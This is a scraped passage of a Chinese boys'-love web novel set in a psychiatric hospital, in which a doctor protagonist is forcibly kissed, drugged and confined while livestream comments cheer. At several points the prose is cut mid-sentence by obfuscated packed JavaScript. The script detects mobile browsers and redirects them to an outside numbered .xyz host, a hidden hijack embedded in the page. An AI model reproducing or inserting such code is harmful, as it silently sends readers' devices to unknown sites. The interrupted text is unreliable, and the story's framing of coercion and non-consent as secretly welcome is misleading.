l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438165|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不清不楚”吗？ 水性杨花、朝三暮四！许时清根本就是个狐狸精！ 这样想着，柯怀雪的笑容越发扭曲。 愤怒和嫉妒的情绪快要喷涌而出，他几乎不能自控，双手掐上许时清的脖子——然而却没用力。 不行的，不可以。柯怀雪又再冷静下来，他忽然笑。许医生跟娃娃不一样的，布娃娃撕坏了可以再缝好，许时清却只有这么一个，他不能做得太过了。 短短几分钟，柯怀雪仿佛坐了一次情绪过山车。上一秒嫉恨到想杀了许时清，下一秒神色就恢复如常。 松开许时清的脖子，改为环抱住许时清，他俯身贴近、温情依恋，俨然是一副依偎的姿态，紧紧抱住了许时清。 “嗯……” 饶是许时清在睡梦里，也能察觉异样，他被什么东西缠住，身上又沉又热。伸手却也推拒不开，对方反而抓住了他的手，和他十指紧扣，密不可分。 看着这一幕，弹幕又一次陷入疯狂： 【我不行了……小雪小雪，你是一个宝宝啊！】 【呜呜呜，看得我哈特软软……】 【不是吧，有这么纯爱的吗？拜托我来付费直播间不是为了看这个啊！】 【就是就是，难得有个好机会，这你都不上？是不是不行！】 【你们才不正常好不好！人家只是太喜欢了舍不得碰而已！！】 【呵呵，都是自己人就别装了呗？某个地方硬得要爆炸了吧，跟谁俩装君子呢？】 …… “嗯？” 许时清不知道自己昏睡了多久，再醒来的时候，发现自己正躺在病床上——柯怀雪的床。而柯怀雪本人被他占了床，只能蜷缩着躺在角落，四肢紧紧缠着他，八爪鱼似的把他牢牢抱着。 好热……许时清想挣开柯怀雪，却发现对方岿然不动。不是，你们几个力气这么一个比一个大，这不对吧？ 还有，他刚才又是突然昏迷的吗？许时清觉得不太对劲。 第一次忽然断片，是因为跟江起一起喝酒，他前面还好好的，也没觉得酒有多醉人，结果后面突然就失去了意识，发生了什么都完全不知情。 第二次是和言书共处一室，他上一秒还在盘算事情，下一秒无事发生，只觉得眼前一黑、睡晕过去了。中间被江起带离图书室也浑然不觉。 第三次，也就是今天来看柯怀雪。江起口口声声答应过，他严格控制好了用药量，许时清也是看着他用的。 因为上次给江起下过药，所以许时清明白，这点药量不存在突然让人昏厥的可能……那他怎么又会断片呢？ 想不通——脑袋真的好疼。许时清逼迫自己不去想了。 柯怀雪被他弄出的动静惊醒，趴在他怀里，手也圈在他腰上，懒洋洋地撒娇：“许医生，您醒了吗？” 许时清还没开口，他又趴在人身上，手掌撑着半张脸，歪头说：“您真的好漂亮啊，怎么会有人连这种角度都好看呢？” “……请问我可以亲您吗？” 许时清：“……” 请不要用看似礼貌的语气说出这么不礼貌的请求，可以吗？ ——不对，这一幕怎么感觉这么熟悉呢？ 15. 小狗索吻 “请问我可以亲您吗？” 柯怀雪的问题太直白，许时清一下没能反应过来。他愣了几秒，对方当他默认，竟然直接就凑上来了。 “你等——唔？！” 柯怀雪的唇碰上来，许时清吓得一抖，差点咬到自己的舌头。唇上一重再一软，他大脑仿佛死机了几秒，随后反应过来——不是，他们真亲上了啊？！？！！ 这不对劲了……许时清别过头，柯怀雪却又再凑上来。他们的双手还扣在一起，现在又离得这样近，说不出的暧昧和怪异。 柯怀雪笑嘻嘻凑上来问他：“可以再来一次吗？这次伸舌头好不好？” “……”疯子。 弹幕早已炸开锅： 【我靠啊啊啊啊！我刚进直播就这么刺激的吗？】 【呜呜呜终于！小雪你好硬气啊！你好硬啊！！】 【妈呀。我以为第一个应该是江起，再不济也是言书，结果他俩都没亲上，居然被柯怀雪截胡了？】 【哦吼吼，乖乖小狗赛高！我们小雪为什么不能是第一个啊？他超级听话的好不好！乖孩子就该有奖励～～】 …… “可以吗？” 见许时清沉默，柯怀雪继续追问。 眼见着柯怀雪的眼神越来越炽热，要再继续装傻，对方又会当他默认了。于是许时清硬着头皮说：“不可以，刚才你也不应该那样！这是未经允许……” “但是，我真的好想您。您答应了每天都会来看我的，为什么要食言呢？” 嘿，他这还没开始发火呢，柯怀雪竟然就要撒娇了，以为这套什么时候都管用是不是？ “这不是我的本意，我最近也……”许时清好像突然发现了个大bug，那就是他的心太软，面对这些个NPC根本硬气不起来。 盯着柯怀雪直勾勾又水汪汪的眼神，许时清最终只是叹一口气，妥协说：“算了，刚才的事我就当没发生过，你下次不许再这样。” 【我不行了，你们直男被调戏了这样好脾气的吗？】 【感觉是那种和兄弟拥抱接吻上床但还是会说我们是好哥们儿的人。】 【清清看起来道德底线很高，其实接受程度很广吧？上次被言书摸摸也没觉得反应多激烈，说不定自己也有在偷偷享受呢？】 …… 柯怀雪没再说话，不情不愿地站起来，眼神始终紧紧黏在他身上，看得他头皮发麻。 他整理好衣服，看一眼窗外，推脱说：“时间不早了，我该走了……” 柯怀雪笑笑：“但我们今天还没有治疗呢，许医生就没什么想问我的吗？” “……” 有倒是有，但是—— 许时清扣好衣服，抬头看他，鼓起勇气开口：“有的。我想问，有关你之前上学的事。” 之前护工和清洁工告诉他，柯怀雪不太亲近人，叮嘱他注意安全，不要被柯怀雪误伤；后来又是凌燚透露信息，表明柯怀雪并不如表面那样纯良无害，看起来柔弱不能自理，实则能把几个有权有势的人都威慑住。而且柯怀雪的年龄也成谜，来历实在复杂。 所以许时清不敢直接问，怕刺激到他，他一时冲动，又会对自己做些什么也不知道。 “我没有冒犯你的意思，”许时清补充说，“只是我在想，如果想要真正治愈你，就要打开你的心结。可我并不知道你从前具体经历过什么事，又该怎么帮助你呢？” 许时清垂下眼，似乎很神伤，“但你要是不信任我的话，那也没有关系的，我不强求。” 【我不行了，清清你其实是个绿茶吧！】 【这叫以其人之道还治其人之身懂不懂？！】 【小雪：叽里咕噜说些什么呢，听不懂想亲。】 【绿茶小直男我爱～怎么这么会演啊，上次哄骗凌燚也是这副样子，你们谁快来ban了这个又当又立的狐狸精？！】 【呵呵。我完全能理解，为什么清清之前老说他被男人骚扰了。拜托，到处散发魅力让人想入非非，谁能不沦陷啊？】 “可以的。” 他一摆出这副样子，柯怀雪果然没有还手之力，这就是好感度九十的魅力啊！ 柯怀雪一边说着，一边又去拉他的手。许时清不习惯肢体接触，下意识想躲，但为了套取情报，还是随他去了。 手腕被人握住，柯怀雪又来捏他的手心，指尖微凉，触得他有些痒，感觉很不自在。许时清也都忍了。 算了算了，大家都是男人，拉拉手应该也没什么大不了的吧？ 柯怀雪揉着他的手心，感受他的体温，又问他说：“许医生想要听什么呢？” 又是选择题，还是不公布选项的那种。之前江起也这样糊弄他，还好他今天早有准备！ 许时清：“有关你转学的事。我看档案显示，你有一次转学经历……是因为什么转学的呢？不适应环境吗？” “是呀，”柯怀雪随口应下，又开始玩他的手指，根根抚弄，“我不喜欢之前的老师和同学，当然要转走了。” “但你当时已经高三了……”许时清回忆说，“这样特殊的时期，一般的学校应该不会允许你们再转学吧？除非是有很正当的理由。” 柯怀雪捏他指头的力道重了些，反问他说：“是这样吗？我不知道欸。” 他明显是在搪塞，许时清决不允许，他今天被吃了嘴子还被摸了手，再怎么也该换点有效信息回来！ 许时清正色，抽回自己的手：“小柯，有个问题你得明白，你可以防备任何人，唯独不能防备我。我是你的心理医生，不会做出伤害你的事，我们之间应该互相信任彼此才对。” “是这样的吗？” 柯怀雪笑笑，眼睛弯弯的，忽然把手伸向他的背后，在他身下摸出了他的手机，点开屏幕，上面显示着“正在录音中”。 “好奇怪呢，许医生要是足够信任我的话，也不会做这种事了吧？” “我……” 许时清被他噎住。那录音是他刚刚趁柯怀雪想亲他的时候，偷偷打开的，本来以为对方毫无察觉，现在怎么会？ 虽然不占理，但他还是嘴硬说：“这也是我的工作之一，录音并没有别的想法，只是想留着回去复盘而已。” 【我不行了，我做坏事被抓包就这样。】 【撒谎被发现麻烦编点好的吧！】 【这个理由要不要太扯？】 【清清浑身上下就嘴最硬，其他地方都软～】 “噢，原来是这样啊？” 柯怀雪没生气，似乎真的听信他的说法，把手机撇到一边，再认真盯着他看。半晌，问他说：“您真的想知道一切吗？” “什么？”许时清愣了下，旋即点头，“我想，我想了解你的所有。” 柯怀雪：“那许医生能向我保证，如果你知道真相，不会选择疏远我吗？” 他盯着许时清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438166|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼神实在太炽热，眼里的情绪毫不掩饰：“这次你不可以再食言了，那样我会生气的。” “我……”许时清犹疑，最终点头，“我答应你。无论发生什么事，我都不会疏远你。” “好。” 柯怀雪又释然地笑，幽幽开口：“许医生，我杀了一个人。” 他语出惊人，不等人消化，就开始描述那天的场景： “我本来也不想惹事的，但那个家伙实在是太可恶了，他平时挑衅我，我置若罔闻，可他后来竟然做了更过分的事……我无法坐视不理，所以我选择杀了他。” “你知道吗？那天刚好还下着雨呢，好大的雨，雨水混合着血水流了一地，我用玻璃和锤子，把他砸了个稀巴烂！” 他越说越亢奋，甚至有控制不住的喜悦和激动，这感觉太诡异了。 许时清听过一个说法，那就暴力会让人上瘾。柯怀雪从前被欺负打压太久，一旦把主导局面的可能递交到他手里，后果就很难预计了。 “那……他死了吗？” 许时清努力让自己的声音听上去不颤抖，实则吓得连呼吸也放缓了，他大气都不敢出，唯恐刺激到眼前的人。 听见这个问题，柯怀雪忽然又冷静下来，他笑着摇头，说：“没有呢，当时做到一半，有人制止我了。我就放了他一马。” 许时清又问：“所以你是因为这件事被迫转学的？那你不怕被人报复吗？” 凌燚说过，欺负柯怀雪的那些人，家里都有权有势，老师都不敢随便干涉他们。既然柯怀雪势单力薄，应该早就被报复了才对。 但现在柯怀雪却安然无恙出现在这里，那么唯一的可能就只有——柯怀雪的资料全是假的，年龄作假，家庭背景也作假。他从头到尾都在撒谎！ “因为我是个私生子，许医生。” 事已至此，柯怀雪没打算跟他卖关子，直接说出了他的猜想，说话间，又去拉他的手。 “我的母亲，她被人欺骗，生下了我，后来撒手人寰，我一直寄人篱下，生活黯淡无光。是你，许医生，”柯怀雪的眼睛亮了亮，“是你救了我。” “我不知道要说什么话才能感谢你呢？我当时一心寻死，你是出现了，日夜陪伴我、鼓励我，让我重燃希望……这些你难道全都忘了吗？许医生，清清，你怎么又不说话？你的掌心也出了好多汗，你很热吗？还是在怕我……” 柯怀雪一声声说着肺腑之言，许时清却只觉得汗毛倒竖。 在这短短几分钟里，他似乎拟出了和柯怀雪的这条故事线。 柯怀雪是豪门私生子，亲生母亲离世，父亲估计也不待见，所以不让他往外说家里的背景。所以柯怀雪在学校总被人欺凌，却也不愿意向家里人求助，长此以往，心理渐渐扭曲。 最后在一个雨夜爆发，他想要杀了对方，却因为有人制止，没能实施成功。事情闹大了，背后的父亲才选择站出来替他摆平，让他转学继续生活。但他的精神疾病越来越严重，这时候遇见了自己…… 许时清深呼吸一口气，手掌已经止不住发颤，他问柯怀雪：“那么，你是真的生病了吗？你来到这个医院，究竟是为了治病——还是为了我？” 柯怀雪捉着他的手掌，抚摸自己的脸颊，亲和地笑：“你好聪明呀，许医生。” “当然是为了你呀……”柯怀雪吻着他的掌心说，“如果没有你的话，我到底该怎么办呢？” ……疯子。 16. 被竹马亲哭了 “这里除了我，到底还有正常人在吗？” 逃也似的从病房里出来，许时清感觉惊魂未定。偏偏他还不能叫柯怀雪发现了，毕竟他前脚刚答应人说他会毫无保留信任对方、不会因为过往心生芥蒂，后脚就表现出害怕惶恐的情绪，叫柯怀雪知道了，指不定会发生什么。 许时清强装镇定，微笑着表示，他需要一些时间消化这些信息。 临走前，柯怀雪恋恋不舍抓着他的手指，问他说：“那你明天还会来看我吗？许医生。” “会的，会的。” 试问这种情况下谁敢拒绝呢？许时清只怕犹豫一秒，都会被他砍成臊子了，报复心强的家伙可不敢招惹。 “好。”得到他的应允，柯怀雪才松开他。 许时清退至门口时，惊觉自己出了一身汗，要关门时，他回头，看见柯怀雪正坐在床边，视线紧紧跟随着他。 这个苍白的、瘦弱的少年，头发长长的，足够遮住眼睛，但也能察觉到他炽热直接的视线。脆弱的外表原来只是伪装，柯怀雪从一开始就是猎人，只是擅长把自己包装成猎物——这样的把戏，他到底用过多少次呢？ 许时清不知道，也不敢追寻答案。 回到办公室，他反复咀嚼着刚才柯怀雪说的话，心脏后知后觉地开始狂跳。 不行、连柯怀雪也不行！这四个人没一个是省油的灯，他到底该考虑从谁那里拿到通关密码呢？ 【哎呀，清清大人看起来真的很苦恼呢？你的魅力这样大，难道真的一个都拿不下吗？】 系统循循善诱，许时清正中下怀。他摇头，“这跟我想的不一样……我不知道该怎么跟他们相处，我没那么擅长这种事。” 【嗯，这倒也是。如果能力不足的话，有没有考虑过用其他方法呢？】 许时清：“比如？” 【比如牺牲一下美色——像你刚才那样就做得很好嘛！你答应给柯柯亲亲，柯柯就什么事都告诉你了，说明还是很管用的，是不是？】 【话说真的不考虑一下女仆装吗？出其不意方能致胜啊！打他们个措手不及！！】 许时清：“……” 你想看就直说行吗？整这么多弯弯绕绕的。 【咳咳，不说啦不说啦！那你现在要去做什么呢？回江起家，还是要去图书室看看，感觉柯怀雪身上的秘密还能再仔细研究研究呢～】 许时清：“你在教我做事？” 但仔细一想，又觉得有理。上次去图书室没看个明白，他只知道去找心理书了，后来问过其他工作人员才知道，图书室旁还有个计算机房，里面是电子档案存放处，比到他手里的档案详细得多。 怪不得江起要在这附近开信号屏蔽器呢，原来是保护机密吗？ “我等会儿就过去一趟。” 【不跟江起报备么？】 “……” 不是，这系统说的话怎么就这么不得劲儿呢？他本来就看江起不爽啦！现在晚上睡觉居然连门都不让锁，他一点隐私都没有，真是哪壶不开提哪壶！！ “我才不跟他报备呢，不知道的以为他是我监护人，别搞笑了。” 许时清一身反骨，说干就干。看一眼时间，江起这会儿指定在挨个查房，他刚好溜之大吉。 【想不到清清还有点叛逆呢？】 【跟我家猫一样，一身反骨啊！】 【喜欢喜欢，耍脾气的样子也好可爱，感觉逗他会很有意思～】 【江起：一直在挑衅我。】 【紧急呼叫天降竹马，快来收拾这个叛逆的许医生！】 …… 抓紧时间，许时清想溜去机房，他又去找上次那位负责人要钥匙，然而得到的答复却是：“不好意思，许医生，应江医生的要求，钥匙现在都存放在他那里统一保管呢。” “哈？” 许时清觉得莫名，气极反笑，不是，这医院到底归谁管啊？他们同为医生，江起的权限有这么大吗？ “那江起呢？” 负责人抬手一指楼上，“刚刚看江医生坐电梯上去了，应该是去查房了吧？您要联系他吗？……” “没事儿，我不急。麻烦你了。” 许时清对人笑笑，扭头径直走进江起的办公室，想看看有没有蛛丝马迹。 其实他也不一定非要今天去机房，但就是咽不下这口气，凭什么他的决定都要被江起左右呢？连迟冬都没办法管他这么多的！ 【你看，又闹。】 “你给我闭嘴！” 【小脾气好多啊我们清清大人，唉，也就只有我能包容你了。】 许时清冷笑，边拉开抽屉边说：“我脾气很差吗？还好吧，要是我们现在能面对面，你看我抽不抽你的。” 【好啊好啊！要自备道具吗？我可以自备一根小皮鞭～～】 “……” 请问他现在朝哪个方向拜能把这尊大佛送走呢？ 懒得跟它计较。许时清拉开几个抽屉，在里面翻翻找找，最终在一个文件夹下找到了钥匙串。 他拿了就要走，心情似乎不错，去开门的时候还在哼歌，然而门却率先从外面拉开，堵在门口的人，赫然是江起。 我草！ 许时清的脑海里瞬间冒出这两个不太文雅的字眼，后边再紧跟着四个字——他完蛋了。 …… “我、我可以解释？” 刚才还得意洋洋，这会儿被人逼到角落，许时清再没了嚣张气焰。 如果是柯怀雪给人的恐惧感，是因为他看似克制、实则扭曲，有着近乎变态的占有欲，那么江起给人的压迫感就来源于他表面的冷静沉着，被这份伪装层层包裹着的，是更进一步的欲与念。 ——足够把许时清吞噬。 知道许时清又想偷溜，江起没生气，反而微微笑。他进一步，许时清就退一步，跨进办公室，江起反手锁上房门，“咔哒”一声，许时清的心都凉了半截。 见他不语，只是靠近，许时清强装镇定：“你、你说句话行不行？我也没做什么很过分的事吧？偷拿你东西是不太好，我下次不做就是了，你能不能别……” “嘘，别说话。” 江起却没功夫听他废话，一根手指抵上他的唇，指尖有些冷，许时清的心更冷。 “还记得我们上次约定过的吗，清清？” “……” 许时清慢慢摇头。 但是他记得。他当然记得，江起单方面宣布要全面监管、着手给他“治病”的那天，许时清就决定不要坐以待毙。 于是他假意迎合，背地盘算，趁江起下楼去买东西的功夫，开门就要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438167|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑。 结果没想到这人居然留了后手，走时给门锁了不说，竟然还在看监控——这个疯子在自己家里居然都装一堆监控！ 江起发现他要逃跑的意图，回来之后，自然要施加一些惩戒手段。 那晚许时清本来已经哭过一次，当然是假哭的，后来被江起压着欺负，真真痛哭了一场。然而江起这次心肠硬，任他如何哭叫求饶，都没打算停手。 …… 回想起那晚的经历，许时清就忍不住发抖。现在再看着眼前的男人，他完全没底气，但还是硬着头皮回复一句：“我、我不记得了！为什么你说什么就是什么？我又不欠你的，你让我出去——” 说着，他急匆匆就要走，擦肩而过时，却被江起扼住手腕。江起的力气大得惊人，这次真用了些力道，一路拉扯着他，把他拽去了里面的休息室。 “放开、你放开我！你凭什么这样？你别以为你……唔唔！” 骂声到了嘴边，却被江起堵了回去。一天之内被两个人强迫，试问许时清从前哪儿遭受过这种事？ 委屈的情绪瞬间潮涌，他憋不住要掉眼泪，然而江起不再为他的眼泪动容，伸手拂去泪水，又继续低下头去。 软的，热的，这远要比柯怀雪的动作更直接。 许时清这下是真的怕了他了，手掌抵在他的胸膛，想要推拒，却无济于事。 不知过了多久，第一次结束，他被人松开，已经满脸通红、遍布泪痕，因为太紧张而喘不上气，许时清的呼吸都变得艰难起来，他微弱地求饶：“我、我错了，江起，我答应你不会再……” 或许连许时清自己都没发觉，他在这种时候总惯性地想要示弱，这正是他总和人纠缠不清的原因所在——他太软了。各个方面都是。 江起没放开他，只是认真看他，看他长长的睫毛、看他湿漉漉的眼睛和微红的鼻尖。 嗯，从前会觉得许时清笑起来漂亮，现在发现哭起来其实也很好看呢？ “清清。”他又叫了一声。 “嗯？”许时清不明所以，但还是回应，“我在……” “还有什么想说的吗？”江起给他机会，“现在你可以尽情说了。” 许时清把这当做最后的机会，他本来就不擅长撒谎，此刻慌不择路，自然全盘托出：“我没想做别的，我只是想去机房看看，找一找需要的资料。他们说你在查房，我不想打扰你，所以才……” “噢，原来是这样吗？” 江起似乎被他说动，握住他手腕的手稍微卸了点力，又笑吟吟问他：“那你是要找谁的资料呢？告诉我，我可以帮你的。” 许时清看着他的眼睛，像是被他蛊惑，鬼使神差地开口：“是柯怀雪。” 话说出口的瞬间，他忽然又记起，上次江起分明叮嘱他说，不要再和柯怀雪来往。 然而为时已晚，许时清事事谨慎，唯独在这方面有钝感力，现在该为此付出代价了。 江起的笑容又沉下去，预感风暴来临，许时清垂死挣扎，扯出一个笑：“江起，或许你还愿意听我解释？……” 对方沉默着、抓住他的手，分别和两只手都十指扣紧，在他惊疑不定的目光里，江起说：“当然可以了，清清。” “你大可以慢慢说，我都会仔细听的——我们的时间，还很长。” 17. 小直男心软嘴更软 许时清不知道自己被欺负了多久。 他没有退路，身下是一张小床，还是靠墙放置的，无论再怎么躲，也不能躲到哪儿去。 更不用说他的一只手还被江起拉着，紧张害怕的时候忍不住蜷缩手指，江起这时候就会捏捏他的掌心，算作一种安抚。 江起的吻不算强硬，是很有技巧的，由浅入深、游刃有余，但是温柔而不容拒绝。许时清一旦想躲，他又会再迎上来，直到许时清被迫选择接纳，动作才又变得柔和。 几番试探下来，许时清已经快要放弃抵抗了，原本试图推开江起的那只手，改为搭在对方脖子上，要掉不掉；另一只手还被江起紧紧抓着，掌心湿淋淋的全是汗。 “不、嗯……” 许时清终于忍不了了，在他不知第几次凑上来的时候，偏过头去，气喘吁吁，又拼命摇头，“我不要了。” “清清。” 江起叫了他一声，不知是什么情绪，见他实在抗拒，便没再坚持，放开他的手，又问：“觉得口干吗？我去给你倒杯水。” 许时清没回话，把头埋在臂弯里装死，他当是默认，起身出门去接水。 空气一度陷入沉默，最后是系统打破平静：【清清大人，什么感觉？】 “……” 许时清想了许久，认真给出答复：“我想去死。” 他真的不要活了！被言书调戏觉得还好，被柯怀雪夺走初吻，因为发生得太快、他没能反应过来，所以也就都不计较。 但刚才，他可是被江起强压着，一遍又一遍，连着不知道亲了多少次！ 起初许时清还能给自己洗脑，说就当被狗啃了，眼睛一闭再一睁就过去了。结果江起不许！非要他把眼睛睁开、看个清清楚楚，这完全就是服从性测试！！！ 【噢，看起来不太妙呢？】 系统说，又多嘴问一句：【嘶，所以你是真的觉得一点都不舒服吗？难道一点点都没有吗？】 许时清恼羞成怒：“说了没有就是没有！谁会喜欢那样子？真是——” 他气在头上，感觉脑袋乱成浆糊，此时的弹幕更是炸开了锅，飞速刷屏： 【哈哈哈，他急了他急了！】 【还说自己没爽到，明明就是喜欢了吧？刚才被亲得一直抖抖抖，感觉都舒服得要晕过去了～～】 【嘴硬心软小直男一枚呀。】 【谁说嘴硬的？我感觉嘴很软啊，想亲。】 【江起我的好大儿，你终于支棱起来了！我是坚定的竹马党！！】 【支持一波，还是得看江起。上次下药偷偷尝一口开荤，这次直接大吃特吃！！】 …… “来喝水。” 江起端着水杯折返时，许时清已经整理好心情，坐起来了。 他蜷在床上，缩进角落，身上还盖着被子，瞧着怪可怜的，好像是真被江起给欺负惨了。 许时清关掉手机界面，看他递过来的水杯，玻璃杯里的水有些混浊，似乎还带了点微黄的颜色。他看着江起：“你现在下药都完全不背人了是吗？” 江起失笑：“这是蜂蜜柚子茶，特意给你买的，尝尝味道？” 许时清不情不愿地接过，喝一口，酸酸甜甜，很润喉咙，刚刚被江起嘬干的口水现在总算补回来了。 他小口小口喝着水，江起便又在床边坐下来。许时清几乎是条件反射，又往角落里缩了缩，如今的江起在他这里完全失去可信度了。 见他躲闪，江起面露无奈，解释说：“清清，我没想这样对你。以我们之间的关系，也不该像这样相处的，我只是很担心你。” 许时清捧着杯子，别开视线，“是这样吗？但我觉得现在威胁最大的就是你。” “我们只是有误会，我不想让你再……”江起欲言又止，他总不肯把话说明白，话锋一转，又说，“总之，你离柯怀雪他们远一些，这段时间你的工作交由我来负责就好了，你大可以放心。” “你，去应付柯怀雪？” 许时清忽然想笑，江起控制欲极强，柯怀雪占有欲爆棚，要是这两尊大佛凑一起了，岂不是跟养蛊一样？拼个你死我活的多好！他刚好还能看看热闹。 “行啊，那就交给你了。” 正好省一桩麻烦事，他乐得清闲。 江起应下，刚好接到通电话，走出去接的，不知道说些什么。挂掉之后告诉他说，要离开半小时，让许时清在这儿等他回来。 “唉，终于走了！” 许时清如释重负，瘫在床上，裹着被子就想睡觉，却听见系统吐槽他：【清清啊，我忽然发现一个事儿呢？】 许时清：“什么事？” 【你在某些方面，似乎真的很有天赋呢！】 “比如？” 【比如你真的很擅长养蛊。一般来说，有四个可攻略对象，普通的玩家可能只会选择一个或者两个重点发展，同时避免和其他NPC过多交集，以免影响后续剧情推进。】 【但是我们清清呢，就很擅长广撒网了，四个人你一个也没放过，全部收入囊中。现在他们互相仇视了，你又鼓动他们斗蛐蛐，手段真是高明呀！】 许时清抗议：“拜托，我又不知道潜规则！不是你们一开始告诉我说有四个人的吗？” 弹幕依旧热闹： 【我不行了，看来真的不能跟主播玩文字游戏，因为他真的会当真的啊！】 【清清：一直在挑衅我。】 【太搞笑了吧？感觉就像告诉你说面前有四所大学，你想上哪一个，结果我们清清胸有大志，表示全都要上一遍！】 【脐//橙吗？那有点辛苦了，感觉清清体力很差，好歹换下姿势吧？】 【你们的脑子里到底装的什么，怎么能这么自然地从类比比喻过渡到不可说话题的？】 【人之常情。】 …… “所以，我现在距离通关，到底还差多少？” 冷静下来之后，许时清决心要做正事了。 他实在不敢再多待一天了。柯怀雪是个定时炸弹，江起对他实行以爱为名的控制，言书和凌燚也群狼环伺……停留的时间越久，他的危险就多一分，指不定什么时候再出事故。 尤其是今天发生的这种事！一天之内居然能发生两次？人再倒霉也不能倒霉成这样吧！许时清只想赶快跑路了。 【嗯，目前的攻略进度已经大差不差，柯怀雪和江起都已经被你收入囊中，言书和凌燚也已经达到系统要求结算的数值！那么只差一个条件了，我现在问清清你一个问题，截至目前——你还是认为，这里没生病的人，只有你一个吗？】 ……什么意思？ 许时清被它问住了。难道不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438168|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是吗？ 【嗯嗯，看来只要等你搞清楚这个问题，咱们就可以前往下一个小世界啦！】 又在跟他打哑谜，可许时清是真的猜不透啊。 那三个精神病人当然是有病的了，本来以为言书可能会正常些，接触后又发现不太正常。除此之外，就只剩下一个江起，江起当然是生病了啊？不然怎么会幻想跟他谈恋爱呢？他对此根本就不知情…… 许时清捋了一遍时间线，第六感发作，他忽然察觉到什么。 江起总说他有病，所以要给他吃药，还要考虑他的人身安全、给他假装监控；言书和他在一起时，会有意无意提起“江医生”；就连和柯怀雪在一起的时候，对方也会问“江医生没有把你照顾好吗？”…… 以上种种加起来，一个大胆的猜想骤然在许时清脑海里形成。 有没有一种可能，江起说的真的是对的？生病的人，其实从一开始就是他，否则其他人怎么会觉得一定要江起照顾他呢？ 但是……许时清又觉得逻辑不通。如果真是那样的话，他一个有精神疾病的人，怎么能来这儿当心理医生？ 等这个谜团解开，许时清应该就能通关了。 眼下先观望一会儿吧，江起最近盯他盯得紧，晚上睡觉都要起夜看他好几次，许时清实在抽不开身。 大约过了二十多分钟，许时清玩手机玩得倦了，还没等到江起。这人到底干什么去了？ 正无聊的时候，手机收到新信息。 是那个沉寂已久的陌生号码，初来的时候骚扰过许时清几次，被他怼过之后，就没再回复。如今他又发来短信： 【许时清，你害我害得好苦啊！】 【我真想现在就从你们医院楼上跳下去！】 【不，在这之前，我应该要先带走你！！！】 许时清：“……” 画风能别变得这么快吗？上面发一堆骚扰信息，寻思也要跟他处对象呢？这会儿怎么就要死要活的了！ 系统及时答疑：【是这样的，原有的剧情设定，会因为宿主的变化而变动。因为你攻略NPC的速度太快，所以现在剧情线也加快了。】 许时清好奇：“所以原剧情是什么样的？他想跟我处对象没处成，最后因爱生恨，得不到就毁掉呗？” 【……你猜得真准。】 “……” 真的啊？！！ 他也就是随口一说。思考片刻后，许时清回过劲来，“等等，这个人，不会也跟主线有关系吧？” 系统沉默，他就知道自己肯定说中了。 许时清得意起来，好像忽然化身福尔摩斯，捏着下巴思索，“让我猜猜，跟他有关系的应该是……柯怀雪？” “他就是柯怀雪当时要杀的那个人，是吗？” 【是。】 事已至此，系统没法再蛮他。看起来不灵光的家伙，偶尔聪明起来还是挺聪明的。 “不过柯怀雪要杀他，跟我有什么关系呢？”许时清绕着绕着，又把自己难住了。 算了，想不通。 许时清摇摇头，决定先把这个问题放一边。 刚好，车辆驶入庭院，他在楼上看见车灯闪了闪。 入夜，不知什么时候开始下雨。江起从车上下来，头顶撑一把黑伞，对靠在窗边的他招手。 该回家了。 18. “直男”主动献身 坐在回去的车上，许时清没看手机，盯着车窗上的水雾发呆。雨竹滴落而下，像在他心上划一道，他装作不经意地开口：“江起。” 江起看他一眼，“怎么了，清清？” “有个问题我很好奇……”许时清转头看他，“你到底是什么时候开始喜欢我的呢？嗯，或者说，因为什么契机？” 这种时候，他问这个问题有两个目的。一是要从江起那里套话，离通关只差临门一脚，能知道更多有效信息自然就更好。 第二……就是许时清自己也实在好奇。从小到大，他身边的同性朋友基本都是如此，甚至连他自以为最可靠最坚实的玩伴兼竹马，迟冬也是如此，都在他无知无觉的情况下对他心动。 到底为什么呢？许时清不解，朋友和恋人之间差了十万八千里，甚至可以说八竿子打不着。干嘛就非得对他有那种想法？ “这个——” 江起顿了下，接道：“我也不知道呢，清清。” 他再沉默几秒，似乎很认真地在思考这个问题，又通过后视镜打量他，一字一句道：“但我觉得，会喜欢上我们清清，也是很正常的事。” 许时清懵：“为什么？” 江起答：“因为清清真的很棒呢，各个方面都是。温柔、知性、体贴，但又有自己的想法和原则，不用世俗的眼光去看，你也是一个各方面都很吸引人的伴侣。” “……” 